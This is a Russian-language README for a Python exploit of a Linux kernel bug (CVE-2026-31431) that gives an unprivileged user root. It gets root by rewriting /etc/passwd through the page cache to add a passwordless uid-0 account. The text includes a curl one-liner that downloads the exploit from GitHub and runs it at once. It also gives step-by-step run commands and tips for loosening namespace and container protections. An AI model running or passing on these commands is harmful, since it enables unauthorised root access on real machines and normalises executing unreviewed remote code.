CopyFail2 (CVE-2026-31431) — реализация на Python

Python-порт эксплойта CopyFail2 для ядра Linux, использующий быстрый путь без COW MSG_SPLICE_PAGES в xfrm ESP-in-UDP для непривилегированного повышения привилегий в Linux.

Заменяет запись nologin/false в /etc/passwd на пользователя uid-0 без пароля и открывает root-оболочку через su.

Уязвимость

Ошибка ядра находится в пути UDP splice, используемом инкапсуляцией xfrm ESP-in-UDP. Вызов splice() в UDP-сокет с MSG_SPLICE_PAGES приводит к отображению страниц в page cache получателя без запуска copy-on-write. Это позволяет записывать в любой файл, отображённый в page cache, даже если он открыт только для чтения.

• Оригинальная реализация на C: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
• Исправление в апстриме: netdev/net.git

Требования

• Ядро Linux >= 6.5 (поддержка MSG_SPLICE_PAGES в UDP)
• libcrypto.so (OpenSSL)
• Python 3.8+
• CAP_NET_ADMIN или возможность создавать пользовательские пространства имён

Какую версию использовать

В этом репозитории представлены два варианта. Оба дают одинаковый результат; выбирайте исходя из своих ограничений.

Быстрый старт (оптимизированный)

# Однострочник через pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

# Сохранённый файл
python3 exploit.py

# Откат изменений
python3 exploit.py --clean

Быстрый старт (эталонный/raw)

python3 exploit_raw.py
python3 exploit_raw.py --clean

В Ubuntu с включённым apparmor_restrict_unprivileged_userns сначала сохраните файл и запускайте с диска; режим pipe пропускает обход AppArmor.

curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

Как это работает

1. Перебором подбирается IV для AES-GCM, чей байт keystream при XOR превращает исходный байт /etc/passwd в нужное значение.
2. Устанавливается локальное состояние xfrm ESP-in-UDP на 127.0.0.1:4500.
3. Создаётся подконтрольный атакующему файл-подложка, содержащий поддельный заголовок ESP и ICV.
4. Три диапазона (заголовок ESP, целевой байт из /etc/passwd, ICV) передаются через splice() в pipe.
5. Pipe передаётся через splice() в UDP-сокет, что запускает ошибку ядра и записывает байт в page cache.
6. Процесс повторяется для каждого отличающегося байта, чтобы перезаписать строку nologin/false на sick::0:0:...:/:/bin/bash.
7. su - sick открывает root (PAM nullok принимает пустой пароль).

Протестировано

Устранение неполадок

cannot acquire CAP_NET_ADMIN

Возможно, в вашем ядре установлено kernel.unprivileged_userns_clone=0. Включите его:

sudo sysctl kernel.unprivileged_userns_clone=1

Если запуск происходит внутри Docker, запустите контейнер с флагом --privileged или --cap-add=SYS_ADMIN.

Авторы

• Hyunwoo Kim (imv4bel) и Kuan-Ting Chen — обнаружение и исправление в апстриме
• Steffen Klassert — мейнтейнер IPsec, опубликовал исправление
• Brad Spengler / grsecurity — ввёл термин «copyfail-class»
• Theori / Xint — оригинальный Copy Fail (CVE-2026-31431)
• Оригинальный эксплойт на C — 0xdeadbeefnetwork
• Эксплойт на Python — guiimoraes

Отказ от ответственности

Этот инструмент предоставляется исключительно для авторизованных исследований в области безопасности и образовательных целей. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Авторы не несут ответственности за неправомерное использование или ущерб, причинённый данным программным обеспечением.